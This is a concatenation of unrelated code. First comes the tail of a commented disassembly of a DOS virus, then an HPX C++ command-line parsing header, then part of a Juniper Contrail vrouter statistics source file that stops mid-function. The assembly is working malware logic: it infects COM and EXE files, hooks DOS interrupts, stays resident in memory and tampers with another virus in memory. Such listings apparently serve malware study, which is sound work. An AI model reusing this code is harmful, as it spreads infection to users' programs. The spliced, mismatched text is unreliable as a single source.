;WRITE 00 BYTES CALL WRITE_FILE ;IF ERROR JB ALREADY_INFECTED ;EXIT CALL FORCE_WRITE JB ALREADY_INFECTED ;AT THIS TIME THE POSSIBLE INFECTION HAS BEEN REMOVED AND THE FILE RESTORE TO ;ORGIONAL SIZE AND FUNCTION JMP CHK_FOR_INFEC ;J440 NOT_INFECTED: ;J4BD MOV AL,02 MOV CX,0FFFF MOV DX,0FFF8 CALL MOV_F_PTR MOV DX,OFFSET TOP_HOST ;BUFFER TO READ INTO MOV CX,08H ;FOR LENGTH CALL READ_FILE JB ERROR_LVE CMP WORD PTR [P_COUNT],7AF4 ;IF == MAYBE INFECTED JE MAKE_SURE ;J4E0 JMP SHORT INFECT ;J538 ERROR_LVE: JMP CLOSE_EXITVIR ;J6AE MAKE_SURE: CMP BYTE PTR [RELOC],23 ; IF >= JNB ERROR_LVE ;IT IS INFECTED MOV CL,BYTE PTR [RELOC+1] ; ???? MOV AX,WORD PTR [TOP_HOST] ; POSSIBLE SETING UP JUMP MOV WORD PTR [FSIZE2],AX ; FOR COM FILE MOV AX,WORD PTR [P_SIZE] ; SUB AX,0103H ; WHY 103 MOV WORD PTR [TOP_HOST+1],AX ; CMP BYTE PTR [RELOC],09 ; JA J503 ; MOV CL,0E9 ; J503: MOV BYTE PTR [TOP_HOST],CL ;E9= JMP XOR CX,CX ; MOV DX,CX ; CALL START_FILE ; MOV DX,OFFSET TOP_HOST ; MOV CX,0003H ; CALL WRITE_FILE ; JB ERROR_LVE ;J4DD CALL FORCE_WRITE JB ERROR_LVE ;J4DD XOR CX,CX ;SET FILE POINTER TO END MOV DX,WORD PTR [FSIZE2] ;OF HOST FILE CALL START_FILE ; XOR CX,CX CALL WRITE_FILE JB ERROR_EXIT ;52E CALL FORCE_WRITE JB ERROR_EXIT JMP NOT_INFECTED ;J4BD ERROR_EXIT: JMP CLOSE_EXITVIR ;J6AE ;J538 INFECT: MOV WORD PTR [TOP_VIR],7AF4 MOV WORD PTR [TOP_VIR+2],2C MOV WORD PTR [TOP_VIR+8],0ABE CMP BYTE PTR [BP+00],00 JNE ERROR_EXIT ;J535 TEST BYTE PTR [X7],01 JE ERROR_EXIT ;THIS NEXT PIECE WILL TELL POINTER TO GO TO END OF FILE ;WITH OFFSET 0:0 WHICH SETS DX:AX TO #BYTES IN ENTIRE FILE ;J557 MOV AL,02 XOR CX,CX MOV DX,CX CALL MOV_F_PTR MOV [FSIZE1],DX MOV [FSIZE2],AX XOR CX,CX MOV DX,CX CALL START_FILE MOV DX,OFFSET TOP_HOST ;BUFFER MOV CX,20 ;#BYTES TO READ CALL READ_FILE ; JB ERROR_EXIT ;J535 ;CHECK FOR TYPE OF FILE BY TESTING FOR SIGNATURE MZ OR ZM ;IF NEITHER IT IS A COM FILE ;J579 CMP WORD PTR [TOP_HOST],"ZM" JE EXE_INFEC CMP WORD PTR [TOP_HOST],"MZ" JNE COM_INFEC EXE_INFEC: MOV BYTE PTR [COMFILE],00 MOV AX,WORD PTR [P_COUNT] ;000E MUL WORD PTR [EXE_PG_SIZE] ;0066 = 200H SUB AX,[FSIZE2] ;AX=#BYTES IN HOST SBB DX,[FSIZE1] ;IF BELOW ERROR SOMEPLACE JB J5E1 ;J5E1 EXIT ERROR MOV AX,WORD PTR [I_SS] ;0018 MUL WORD PTR [PAGE_16] ;0062 ADD AX,WORD PTR [I_SP] ;001A MOV CX,DX ;SAVE RESULT EFF ADDRESS OF MOV BX,AX ;SS:SP AT START OF PROGRAM MOV AX,[H_PARA] ;0012 MUL WORD PTR [PAGE_16] ;0062 MOV DI,WORD PTR [FSIZE1] MOV SI,WORD PTR [FSIZE2] ADD SI,+0F ADC DI,+00 AND SI,-10 SUB SI,AX SBB DI,DX MOV DX,CX MOV AX,BX SUB AX,SI SBB DX,DI JB J5FF ;J5D4 ADD SI,0DC0 ADC DI,+00 SUB BX,SI SBB CX,DI JNB J5FF ;IF NO ERROR J5E1: JMP CLOSE_EXITVIR ;J6AE COM_INFEC: ;j5E4 MOV BYTE PTR [COMFILE],01 ; CHECK IF FILE SIZE CMP WORD PTR [FSIZE1],+00 ; WILL ALLOW INFECTION JNZ J5E1 ; CMP WORD PTR [FSIZE2],+20 ; JBE J5E1 ; CMP WORD PTR [FSIZE2],0F277 ; JNB J5E1 ; J5FF: MOV CX,WORD PTR [FSIZE1] ; FIGURE END OF FILE MOV DX,WORD PTR [FSIZE2] ; +DATA NEEDED TO GET IT TO ADD DX,+0F ;A EVEN PAGE IE DIVISIBLE BY 10H ADC CX,+00 ; AND DX,-10 ; CALL START_FILE ; XOR DX,DX MOV CX,0B41 ;OFFSET TOP_VIRUS -OFFSET BOT_VIRUS+1 PUSH word ptr [x7] MOV BYTE PTR [x7],01 CALL WRITE_FILE POP CX MOV BYTE PTR [x7],CL JB J5E1 CMP BYTE PTR [COMFILE],00 JE EXEINFEC ;J638 MOV CX,0004 ; WRITES FIRST 4 BYTES CALL WRITE_FILE ; TO END OF FILE EXEINFEC: CALL FORCE_WRITE ; FA 7A 2C 00 JB J5E1 MOV DX,WORD PTR [FSIZE1] MOV AX,[FSIZE2] ADD AX,000F ADC DX,+00 AND AX,0FFF0 DIV WORD PTR [PAGE_16] MOV WORD PTR[CHECKSUM],AX CMP BYTE PTR [COMFILE],00 JE EXEONLY ;DO THIS TO COM FILE ONLY MUL WORD PTR [PAGE_16] MOV BYTE PTR [TOP_HOST],0E9 ADD AX,07CE MOV [TOP_HOST+1],AX JMP SHORT J069E EXEONLY: ;66C MOV [I_CS],AX MOV WORD PTR [I_IP],07D1 ;OFFSET START MUL WORD PTR [PAGE_16] ADD AX,OFFSET VGROUP:BOT_VIR ;B40 ADC DX,+00 DIV WORD PTR [EXE_PG_SIZE] INC AX MOV WORD PTR [P_COUNT],AX MOV WORD PTR [P_SIZE],DX MOV AX,WORD PTR [H_PARA] SUB WORD PTR [I_CS],AX ;J692: SET MIN_MALLOC MOV SI,OFFSET MINALLOC CALL P_MIN_MAX_ALLOC MOV SI,OFFSET MAXALLOC CALL P_MIN_MAX_ALLOC J069E: XOR CX,CX MOV DX,CX CALL START_FILE MOV DX,OFFSET TOP_HOST MOV CX,20 CALL WRITE_FILE CLOSE_EXITVIR: ;J6AE PUSH [BP+0E] PUSH [BP+06] CALL CLOSE_F ;J6B7 ADD SP,+04 ;REMOVE LAST 2 PUSH LEAVE_: MOV BYTE PTR [INFEC_FL],0FF POP AX POP BX POP CX POP DX POP SI POP DI POP BP POP DS POP ES POPF GOTO_INT21: ;J6C9 PUSHF PUSH CS ; FLAG <- BP +6 PUSH WORD PTR CS:[C_OFFSET_21] ; CS <- BP +4 CMP BYTE PTR CS:[REM2],00 ; IP <- BP +2 JNE J6D9 ; OLDBP <- BP =SP IRET ; J6D9: PUSH BP MOV BP,SP OR WORD PTR [BP+06],0100 ;SETS TRAP FLAG ON ;RETURN MOV BYTE PTR CS:[REM2],00 POP BP IRET VIR_INT_21 ENDP ; C OPEN_FILE PROC ; A PUSH BP ; FLAG 8 MOV BP,SP ; CS 6 PUSH ES ; IP 4 PUSH DX ; BP 2 PUSH CX ;BP-> PUSH BX PUSH AX MOV AX,3300 ;GET EXT CTRL-BREAK CALL C2_INT21 ;P361 MOV BYTE PTR [CTRL_FLAG],DL ;SAVE OLD SETTING MOV AX,3301 ;SET CTRL-BREAK XOR DL,DL ;OFF CALL C2_INT21 MOV AX,3524 ;GET INT 24 CALL C2_INT21 ;VECTORS MOV WORD PTR [OLD_INT24_SEG],ES ;SAVE THEM HERE MOV WORD PTR [OLD_INT24_OFS],BX ; MOV DX,OFFSET VIR_INT24 ;J384 MOV AX,2524 ;SET INT 24 CALL C2_INT21 ;TO OUR HANDLER MOV AX,4300 ;GET THE FILE ATTRIBUTES PUSH DS ; LDS DX,[BP+04] ;PTR TO FILENAME CALL C2_INT21 ; POP DS ; JB GET_OUT_F_CL ;PROB_CH MOV BYTE PTR [F_ATTR],CL ; TEST CL,01 ;TEST FOR R_W JZ NOCHANGE_ATTR ; ITS R_W IF EQUAL MOV AX,4301 ;CHANGE F_ATTR push ds XOR CX,CX ; LDS DX,[BP+04] ; CALL C2_INT21 ; POP DS ; PROB_CH: JB GET_OUT_F_CL ; NOCHANGE_ATTR: MOV AX,3D02 ;OPEN FILE R_W PUSH DS ; LDS DX,[BP+04] ;FNAME PTR CALL C2_INT21 POP DS JB J0780 ;J74C MOV WORD PTR [F_HANDLE],AX ; MOV AX,5700 ;GET FILE TIME DATE CALL I21_F_HANDLE ; MOV WORD PTR [F_TIME],CX MOV WORD PTR [F_DATE],DX POP AX POP BX POP CX POP DX POP ES POP BP CLC RET OPEN_FILE ENDP ;764 CLOSE_F PROC PUSH BP MOV BP,SP PUSH ES PUSH DX PUSH CX PUSH BX PUSH AX MOV CX,WORD PTR [F_TIME] ; RESTORE MOV DX,WORD PTR [F_DATE] ; TIME AND DATE MOV AX,5701 ; TO FILE CALL I21_F_HANDLE MOV AH,3E CALL I21_F_HANDLE ;****************** J0780: MOV CL,BYTE PTR [F_ATTR] XOR CL,20 AND CL,3F TEST CL,21 JZ GET_OUT_F_CL ;J7A0 MOV AX,4301 PUSH DS XOR CH,CH MOV CL,BYTE PTR [F_ATTR] LDS DX,[BP+04] ;ASCIZ FILENAME CALL C2_INT21 ;J361************* POP DS GET_OUT_F_CL: MOV AX,2524 PUSH DS LDS DX,DWORD PTR [OLD_INT24_OFS] CALL C2_INT21 POP DS MOV DL,BYTE PTR [CTRL_FLAG] MOV AX,3301 CALL C2_INT21 POP AX POP BX POP CX POP DX POP ES POP BP STC RET CLOSE_F ENDP RET_HOST PROC POP CX MOV DX,0200 CMP BYTE PTR CS:[BX+REM2],00 JE J7CC MOV DH,03 J7CC: PUSH DX PUSH CS PUSH CX INC BX IRET RET_HOST ENDP ;07d1 START: CALL FIND_OFFSET FIND_OFFSET: POP BX SUB BX,OFFSET FIND_OFFSET MOV BYTE PTR CS:[BX+INFEC_FL],0FF ;D005C CLD CMP BYTE PTR CS:[BX+COMFILE],00 JE EXEFILE ;J800 ;ONLY OCCURS IF IT IS A COM FILE MOV SI,OFFSET TOP_HOST ;MOV 20H BYTES FROM ADD SI,BX ; [SI] TO MOV DI,0100 ; [DI] MOV CX,0020 ; REPZ MOVSB PUSH CS PUSH WORD PTR CS:[BX+HOST_IP] PUSH ES PUSH DS PUSH AX JMP short INSTALLED? EXEFILE: ;NOTICE NO BX+ OFFSET NEEDED BECAUSE IT ASSUMES IT IS EXE AT THIS ;MOMENT MOV DX,DS ADD DX,+10 ADD DX,WORD PTR CS:[I_CS] PUSH DX PUSH word ptr cs:[I_IP] PUSH ES PUSH DS PUSH AX INSTALLED?: PUSH BX MOV BX,002C CLC MOV AX,0C603 INT 21 POP BX JNB NOT_INSTALLED ;J0827 EXIT: POP AX POP DS POP ES CALL RET_HOST ;P_07BE RETF ;J0827 NOT_INSTALLED: CMP BYTE PTR cs:[BX+COMFILE],00 JE FILE_IS_EXE ;J0834 CMP SP,-10 JB EXIT ;J0820 FILE_IS_EXE: MOV AX,DS ;LOOK AT MCB DEC AX ; MOV ES,AX ; CMP BYTE PTR ES:[0000],5A ; IS IT Z JE LAST_MEM_BLOCK ;YES IT IS LAST ONE PUSH BX MOV AH,48 ;REQUEST A BLOCK OF MEM MOV BX,0FFFF ;LARGEST AVAILABLE INT 21 CMP BX,00BC ;IS BLOCK > BC JB TO_SMALL ;J0853 MOV AH,48 ;AVAIBLE BLOCK IS BIG ENOUGH INT 21 ; GET IT IN AX TO_SMALL: POP BX JB EXIT DEC AX ;GET MCB SEGMENT IN ES MOV ES,AX ; CLI MOV WORD PTR ES:[0001],0000 ;MARK THIS BLOCK AS FREE CMP BYTE PTR ES:[0000],5A ; IS LAST MCB JNE EXIT ADD AX,WORD PTR ES:[0003] ;SIZE OF MEM MCB CONTROLS INC AX ; MOV WORD PTR ES:[0012],AX ;0012 PTS TO NEXT MCB LAST_MEM_BLOCK: MOV AX,WORD PTR ES:[0003] ;SIZE OF MEM SUB AX,00BC ;MINUS SIZE VIRUS/10H JB EXIT ; MOV WORD PTR ES:[0003],AX SUB WORD PTR ES:[0012],00BC MOV ES,ES:[0012] ;SEG TO LOAD VIRUS INTO XOR DI,DI ;MOV B40 BYTES FROM MOV SI,BX ; DS:[SI] ; TO ES:[DI] MOV CX,OFFSET VGROUP:BOT_VIR ;0B40 DB 0F3, 2E,0A4 ; REPZ CS: MOVSB ; PUSH ES POP DS PUSH BX ;J0899 ;NOTE THAT DS:= ES MEANS LOCATION IN HIGH MEM BELOW 640 ;SO THAT IF CS IS REFRENCED YOU MUST STILL USE OFFSET ;BUT IF DS IS USED OFFSET CAN NOT BE USED MOV AX,3521 INT 21 MOV [OLD_INT21_SEG],ES MOV [OLD_INT21_OFS],BX MOV [OLD_INT21_SEG2],ES MOV [OLD_INT21_OFS2],BX MOV AX,3501 ;GET VECTOR FOR INT 21 ;INTERUPT 01 MOV SI,BX ;SAVE IN REGS MOV DI,ES ;DS:SI MOV AX,351C INT 21 MOV [OLD_INT1C_SEG],ES MOV [OLD_INT1C_OFS],BX POP BX MOV AX,2521 MOV DX,OFFSET VIR_INT_21 INT 21 MOV AX,2501 MOV DX,OFFSET VIR_INT_01 INT 21 MOV DX,OFFSET VIR_INT_1C PUSHF MOV AX,BX ;PUT OFFSET IN AX ADD AX,OFFSET VACSINE ;SET UP TO GO HERE PUSH CS ;USING STACK PUSH AX ;SAVE OFFSET CLI ;CLEAR INTER FLAGS PUSHF ;PUSH FLAGS POP AX ;POP FLAG OR AX,0100 ;SET TF PUSH AX ;FOR SINGLE STEP MOV AX,BX ADD AX,OFFSET REAL_INT21 ;FLAGS SET FOR SINGLE STEP PUSH CS ;CS PUSH AX ;IP TO REAL_INT21 MOV AX,251C ;WHEN INT 21 CALLED ;HOOK 1C MOV BYTE PTR [SNARE],01 IRET VIR_INT_01 PROC PUSH BP MOV BP,SP CMP BYTE PTR CS:[SNARE],01 ;IF SNARE IS SET JE YES_NO ;CONTINUE EXIT_VIR_INT01: AND WORD PTR [BP+06],0FEFF ;CLEAR TF MOV BYTE PTR cs:[SNARE],00 ;CLEAR SNARE POP BP ; IRET ; YES_NO: CMP WORD PTR [BP+04],0300 ; JB GOT_IT ;J0918 POP BP ;NOPE IRET ;TRY AGAIN GOT_IT: PUSH BX MOV BX,[BP+02] MOV WORD PTR CS:[OLD_INT21_OFS2],BX MOV BX,[BP+04] MOV WORD PTR CS:[OLD_INT21_SEG2],BX POP BX JMP EXIT_VIR_INT01 VIR_INT_01 ENDP VACSINE: MOV BYTE PTR [SNARE],00 MOV AX,2501 ;RESTORE MOV DX,SI ;INT 01 MOV DS,DI ; INT 21 ; ;NEXT PIECE OF CODE IS LOOKING AT DS:=0000 ;0000:00C5 MIGHT BE A JUMP TO AN INT BEING ALTERED AT TABLE ;0000:00C7 ;0000:0413 MEM SIZE IN KILOBYTES XOR AX,AX MOV DS,AX MOV WORD PTR DS:[00C5],397F MOV BYTE PTR DS:[00C7],2C MOV AX,WORD PTR DS:[MEM_SIZE] MOV CL,06 SHL AX,CL MOV DS,AX MOV SI,012E XOR AX,AX MOV CX,0061 L1: ADD AX,[SI] ADD SI,+02 LOOP L1 CMP AX,053BH JE PING_IN_MEM ;J0969 JMP EXIT ;J0820 PING_IN_MEM: CLI MOV BYTE PTR DS:[017AH],01H MOV BYTE PTR DS:[01FBH],01H MOV BYTE PTR DS:[0093H],0E9H MOV WORD PTR DS:[0094H],0341H PUSH DS POP ES PUSH CS POP DS MOV SI,BX ;STILL = OFFSET ADD SI,OFFSET NEW_PONG MOV DI,03D7 MOV CX,0027 REPZ MOVSB STI JMP EXIT P_0995 PROC ;CALLED BY P_09C8 ; PUSH BP MOV BP,SP PUSH CX MOV AX,8000 XOR CX,CX PLOOP: TEST AX,[BP+08] JNE J09A8 INC CX SHR AX,1 JMP short PLOOP J09A8: XOR AX,[BP+08] JE J09BC MOV AX,[BP+04] ADD AX,[BP+08] ADD AX,CX SUB AX,0011 CLC POP CX POP BP RET J09BC: MOV AX,000F SUB AX,CX ADD AX,[BP+06] STC POP CX POP BP RET P_0995 ENDP ;******************************************************************** P_09C8 PROC ;CALLED BY P_02D8 PUSH BP MOV BP,SP SUB SP,+10 ;ADD BACK SP 5 WORDS MOV DX,8000 L21: TEST DX,[BP+08] JNZ J09DA SHR DX,1 JMP L21 J09DA: LEA DI,[BP-10] ; MOV CX,0008 ; XOR AX,AX ; PUSH SS ;SS = ES POP ES ; REPZ STOSW ;MOV 8 WORDS FROM ;MOV DS:SI ;TO ES:DI MOV CX,[BP+08] J09E9: TEST CX,DX JE J0A4B PUSH CX PUSH [BP+06] PUSH [BP+04] CALL P_0995 MOV ES,AX LAHF ADD SP,+06 SAHF JB J0A3A ;0A00 MOV AX,WORD PTR ES:[0000] ; XOR [BP-10],AX ; ; MOV AX,WORD PTR ES:[0002] ; XOR [BP-0E],AX ; ; MOV AX,WORD PTR ES:[0004] ; XOR [BP-0C],AX ; ; MOV AX,WORD PTR ES:[0006] ; XOR [BP-0A],AX ; ; MOV AX,WORD PTR ES:[0008] ; XOR [BP-08],AX ; ; MOV AX,WORD PTR ES:[000A] ; XOR [BP-06],AX ; ; MOV AX,WORD PTR ES:[000C] ; XOR [BP-04],AX ; ; MOV AX,WORD PTR ES:[000E] ; XOR [BP-02],AX ; ; JMP SHORT J0A4B J0A3A: MOV AX,CX MOV CX,0008 LEA SI,[BP-10] XOR DI,DI DB 0F3,36,0A5 ; REPZ SS:MOVSW MOV CX,AX JMP SHORT J0A4E J0A4B: DEC CX JMP SHORT J09E9 J0A4E: SHR DX,1 JB J0A54 JMP SHORT J09DA J0A54: MOV SP,BP POP BP RET P_09C8 ENDP ;***************************************************************** P_0A58 PROC PUSH BP MOV BP,SP PUSH DS J0A5C: MOV DS,[BP+04] MOV ES,[BP+06] XOR BX,BX J0A64: MOV AX,WORD PTR ES:[BX] XOR WORD PTR [BX],AX ADD BX,+02 CMP BX,+10 JB J0A64 INC WORD PTR [BP+04] INC WORD PTR [BP+06] DEC WORD PTR [BP+08] JNZ J0A5C POP DS POP BP RET P_0A58 ENDP ;************************************************************ P_0A7F PROC PUSH BP MOV BP,SP PUSH DS MOV BL,01 J0A85: XOR SI,SI J0A87: XOR CX,CX MOV DI,[BP+08] ADD DI,[BP+0A] DEC DI J0A90: MOV DS,DI SHR BYTE PTR [SI],1 RCL CX,1 DEC DI CMP DI,[BP+08] JNB J0A90 OR CX,CX JZ J0AB1 PUSH CX PUSH [BP+06] PUSH [BP+04] CALL P_0995 ADD SP,+06 ; MOV DS,AX XOR BYTE PTR [SI],BL J0AB1: INC SI CMP SI,+10 JB J0A87 SHL BL,01 JNB J0A85 POP DS POP BP RET P_0A7F ENDP J0ABE DB 87,0DBH ;J0AC0 DB 88,CB ;VALUE MAYBE USED AS 0ACO J0AC0: DB 88,0CBH,8A,99,8F,38 DB 0E7H,0CDH,0A1H,9BH,3EH DB 0EF,86,0C8,97,83,52 DB 34,0BE,8C,21, 29,0B1 DB 0F9H,0C1H,9BH,12H,04H,09H,0F3H DB 45, 01, 93, 01DH, 0B0 DB 0B9,0C6,01,06,92,37,50 DB 49,0E8,0D5,71,97 DB 22,0A6,0E6,04C,50 DB 0BE,2A,23 DB 0BE,44, 01DH DB 0A1,0A6,6BH DB 0A0,0E0,06 DB 0AA,1A,0F6,2A,0C0 DB 02,2F,75,99 DB 06H,0FH,5BH,97H,02H,3EH DB 64, 07DH, 0C8,50,66,08 DB 0C4,0FA,92,8E,64,75 DB 1BH, 0A6H, 1BH, 0B9H, 32H, 0BDH DB 0BH, 3EH, 61H, 06DH, 0E0H, 0C4H DB 0B9H, 29, 0CAH, 9CH, 17H, 08H, 21H DB 0EAH, 0EEH, 7EH , 85H, 0B1H DB 63H, 2AH, 0C3H, 71H, 71H, 2CH, 0A0H DB 0F2H, 8BH, 59H, 0DH DB 0F9,0D5H, 00H ;POSSIBLE END OF VIRUS BOT_VIR EQU $ ;LABEL FOR END OF VIRUS VIRUS_CODE ENDS END start
// Copyright (c) 2007-2012 Hartmut Kaiser // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) #if !defined(HPX_UTIL_PARSE_COMMAND_LINE_NOV_30_2011_0652PM) #define HPX_UTIL_PARSE_COMMAND_LINE_NOV_30_2011_0652PM #include <hpx/hpx_fwd.hpp> #include <boost/program_options.hpp> /////////////////////////////////////////////////////////////////////////////// namespace hpx { namespace util { enum commandline_error_mode { return_on_error, rethrow_on_error, allow_unregistered }; /////////////////////////////////////////////////////////////////////////// // parse the command line HPX_API_EXPORT bool parse_commandline( hpx::util::section const& rtcfg, boost::program_options::options_description const& app_options, std::string const& cmdline, boost::program_options::variables_map& vm, std::size_t node, commandline_error_mode error_mode = return_on_error, hpx::runtime_mode mode = runtime_mode_default, boost::program_options::options_description* visible = 0, std::vector<std::string>* unregistered_options = 0); HPX_API_EXPORT bool parse_commandline( hpx::util::section const& rtcfg, boost::program_options::options_description const& app_options, int argc, char *argv[], boost::program_options::variables_map& vm, std::size_t node, commandline_error_mode error_mode = return_on_error, hpx::runtime_mode mode = runtime_mode_default, boost::program_options::options_description* visible = 0, std::vector<std::string>* unregistered_options = 0); /////////////////////////////////////////////////////////////////////////// // retrieve the command line arguments for the current locality HPX_API_EXPORT bool retrieve_commandline_arguments( boost::program_options::options_description const& app_options, boost::program_options::variables_map& vm); /////////////////////////////////////////////////////////////////////////// // retrieve the command line arguments for the current locality HPX_API_EXPORT bool retrieve_commandline_arguments( std::string const& appname, boost::program_options::variables_map& vm); /////////////////////////////////////////////////////////////////////////// HPX_API_EXPORT std::string reconstruct_command_line( boost::program_options::variables_map const &vm); }} #endif
/* * Copyright (c) 2013 Juniper Networks, Inc. All rights reserved. */ #include <uve/vn_uve_entry.h> #include <uve/agent_uve.h> VnUveEntry::VnUveEntry(Agent *agent, const VnEntry *vn) : VnUveEntryBase(agent, vn), port_bitmap_(), inter_vn_stats_(), mutex_(), prev_stats_update_time_(0), prev_in_bytes_(0), prev_out_bytes_(0) { } VnUveEntry::VnUveEntry(Agent *agent) : VnUveEntryBase(agent, NULL), port_bitmap_(), inter_vn_stats_(), mutex_(), prev_stats_update_time_(0), prev_in_bytes_(0), prev_out_bytes_(0) { } VnUveEntry::~VnUveEntry() { } void VnUveEntry::UpdatePortBitmap(uint8_t proto, uint16_t sport, uint16_t dport) { port_bitmap_.AddPort(proto, sport, dport); } void VnUveEntry::UpdateInterVnStats(const string &dst_vn, uint64_t bytes, uint64_t pkts, bool outgoing) { tbb::mutex::scoped_lock lock(mutex_); VnStatsPtr key(new VnStats(dst_vn, 0, 0, false)); VnStatsSet::iterator stats_it = inter_vn_stats_.find(key); if (stats_it == inter_vn_stats_.end()) { VnStatsPtr stats(new VnStats(dst_vn, bytes, pkts, outgoing)); inter_vn_stats_.insert(stats); } else { VnStatsPtr stats_ptr(*stats_it); VnStats *stats = stats_ptr.get(); if (outgoing) { stats->out_bytes_ += bytes; stats->out_pkts_ += pkts; } else { stats->in_bytes_ += bytes; stats->in_pkts_ += pkts; } } } void VnUveEntry::ClearInterVnStats() { /* Remove all the elements of map entry value which is a set */ VnStatsSet::iterator stats_it = inter_vn_stats_.begin(); VnStatsSet::iterator del_it; while(stats_it != inter_vn_stats_.end()) { del_it = stats_it; stats_it++; inter_vn_stats_.erase(del_it); } } bool VnUveEntry::SetVnPortBitmap(UveVirtualNetworkAgent &uve) { bool changed = false; vector<uint32_t> tcp_sport; if (port_bitmap_.tcp_sport_.Sync(tcp_sport)) { uve.set_tcp_sport_bitmap(tcp_sport); changed = true; } vector<uint32_t> tcp_dport; if (port_bitmap_.tcp_dport_.Sync(tcp_dport)) { uve.set_tcp_dport_bitmap(tcp_dport); changed = true; } vector<uint32_t> udp_sport; if (port_bitmap_.udp_sport_.Sync(udp_sport)) { uve.set_udp_sport_bitmap(udp_sport); changed = true; } vector<uint32_t> udp_dport; if (port_bitmap_.udp_dport_.Sync(udp_dport)) { uve.set_udp_dport_bitmap(udp_dport); changed = true; } return changed; } bool VnUveEntry::UveVnFipCountChanged(int32_t size) const { if (!uve_info_.__isset.associated_fip_count) { return true; } if (size != uve_info_.get_associated_fip_count()) { return true; } return false; } bool VnUveEntry::UveVnInterfaceInStatsChanged(uint64_t bytes, uint64_t pkts) const { if (!uve_info_.__isset.in_bytes || !uve_info_.__isset.in_tpkts) { return true; } uint64_t bytes2 = (uint64_t)uve_info_.get_in_bytes(); uint64_t pkts2 = (uint64_t)uve_info_.get_in_tpkts(); if ((bytes != bytes2) || (pkts != pkts2)) { return true; } return false; } bool VnUveEntry::UveVnInterfaceOutStatsChanged(uint64_t bytes, uint64_t pkts) const { if (!uve_info_.__isset.out_bytes || !uve_info_.__isset.out_tpkts) { return true; } uint64_t bytes2 = (uint64_t)uve_info_.get_out_bytes(); uint64_t pkts2 = (uint64_t)uve_info_.get_out_tpkts(); if ((bytes != bytes2) || (pkts != pkts2)) { return true; } return false; } bool VnUveEntry::UveVnInBandChanged(uint64_t in_band) const { if (!uve_info_.__isset.in_bandwidth_usage) { return true; } if (in_band != uve_info_.get_in_bandwidth_usage()) { return true; } return false; } bool VnUveEntry::UveVnOutBandChanged(uint64_t out_band) const { if (!uve_info_.__isset.out_bandwidth_usage) { return true; } if (out_band != uve_info_.get_out_bandwidth_usage()) { return true; } return false; } bool VnUveEntry::UveVnVrfStatsChanged(const vector<UveVrfStats> &vlist) const { if (!uve_info_.__isset.vrf_stats_list) { return true; } if (vlist != uve_info_.get_vrf_stats_list()) { return true; } return false; } bool VnUveEntry::UveInterVnInStatsChanged(const vector<UveInterVnStats> &new_list) const { if (!uve_info_.__isset.in_stats) { return true; } if (new_list != uve_info_.get_in_stats()) { return true; } return false; } bool VnUveEntry::UveVnInFlowCountChanged(uint32_t size) { if (!uve_info_.__isset.ingress_flow_count) { return true; } if (size != uve_info_.get_ingress_flow_count()) { return true; } return false; } bool VnUveEntry::UveVnOutFlowCountChanged(uint32_t size) { if (!uve_info_.__isset.egress_flow_count) { return true; } if (size != uve_info_.get_egress_flow_count()) { return true; } return false; } bool VnUveEntry::UveInterVnOutStatsChanged(const vector<UveInterVnStats> &new_list) const { if (!uve_info_.__isset.out_stats) { return true; } if (new_list != uve_info_.get_out_stats()) { return true; } return false; } bool VnUveEntry::UpdateVnFlowCount(const VnEntry *vn, UveVirtualNetworkAgent &s_vn) { bool changed = false; uint32_t in_count, out_count; agent_->pkt()->flow_table()->VnFlowCounters(vn, &in_count, &out_count); if (UveVnInFlowCountChanged(in_count)) { s_vn.set_ingress_flow_count(in_count); uve_info_.set_ingress_flow_count(in_count); changed = true; } if (UveVnOutFlowCountChanged(out_count)) { s_vn.set_egress_flow_count(out_count); uve_info_.set_egress_flow_count(out_count); changed = true; } return changed; } bool VnUveEntry::UpdateVnFipCount(int count, UveVirtualNetworkAgent &s_vn) { if (UveVnFipCountChanged(count)) { s_vn.set_associated_fip_count(count); uve_info_.set_associated_fip_count(count); return true; } return false; } bool VnUveEntry::PopulateInterVnStats(UveVirtualNetworkAgent &s_vn) { bool changed = false; /* Aggregate/total current stats are sent in the following fields */ vector<UveInterVnStats> in_list; vector<UveInterVnStats> out_list; /* Only diff since previous dispatch, is sent as part of the following * list */ vector<InterVnStats> vn_stats_list; { tbb::mutex::scoped_lock lock(mutex_); VnStatsSet::iterator it = inter_vn_stats_.begin(); VnStats *stats; VnStatsPtr stats_ptr; while (it != inter_vn_stats_.end()) { stats_ptr = *it; stats = stats_ptr.get(); UveInterVnStats uve_stats; uve_stats.set_other_vn(stats->dst_vn_); uve_stats.set_tpkts(stats->in_pkts_); uve_stats.set_bytes(stats->in_bytes_); in_list.push_back(uve_stats); uve_stats.set_tpkts(stats->out_pkts_); uve_stats.set_bytes(stats->out_bytes_); out_list.push_back(uve_stats); InterVnStats diff_stats; diff_stats.set_other_vn(stats->dst_vn_); diff_stats.set_vrouter(agent_->agent_name()); diff_stats.set_in_tpkts(stats->in_pkts_ - stats->prev_in_pkts_); diff_stats.set_in_bytes(stats->in_bytes_ - stats->prev_in_bytes_); diff_stats.set_out_tpkts(stats->out_pkts_ - stats->prev_out_pkts_); diff_stats.set_out_bytes(stats->out_bytes_ - stats->prev_out_bytes_); vn_stats_list.push_back(diff_stats); stats->prev_in_pkts_ = stats->in_pkts_; stats->prev_in_bytes_ = stats->in_bytes_; stats->prev_out_pkts_ = stats->out_pkts_; stats->prev_out_bytes_ = stats->out_bytes_; it++; } } if (!in_list.empty()) { if (UveInterVnInStatsChanged(in_list)) { s_vn.set_in_stats(in_list); uve_info_.set_in_stats(in_list); changed = true; } } if (!out_list.empty()) { if (UveInterVnOutStatsChanged(out_list)) { s_vn.set_out_stats(out_list); uve_info_.set_out_stats(out_list); changed = true; } } if (!vn_stats_list.empty()) { s_vn.set_vn_stats(vn_stats_list); changed = true; } return changed; } bool VnUveEntry::FillVrfStats(int vrf_id, UveVirtualNetworkAgent &s_vn) { bool changed = false; UveVrfStats vrf_stats; vector<UveVrfStats> vlist; AgentUve *uve = static_cast<AgentUve *>(agent_->uve()); StatsManager::VrfStats *s = uve->stats_manager()->GetVrfStats(vrf_id); if (s != NULL) { vrf_stats.set_name(s->name); vrf_stats.set_discards(s->discards); vrf_stats.set_resolves(s->resolves); vrf_stats.set_receives(s->receives); vrf_stats.set_udp_tunnels(s->udp_tunnels); vrf_stats.set_udp_mpls_tunnels(s->udp_mpls_tunnels); vrf_stats.set_gre_mpls_tunnels(s->gre_mpls_tunnels); vrf_stats.set_ecmp_composites(s->ecmp_composites); 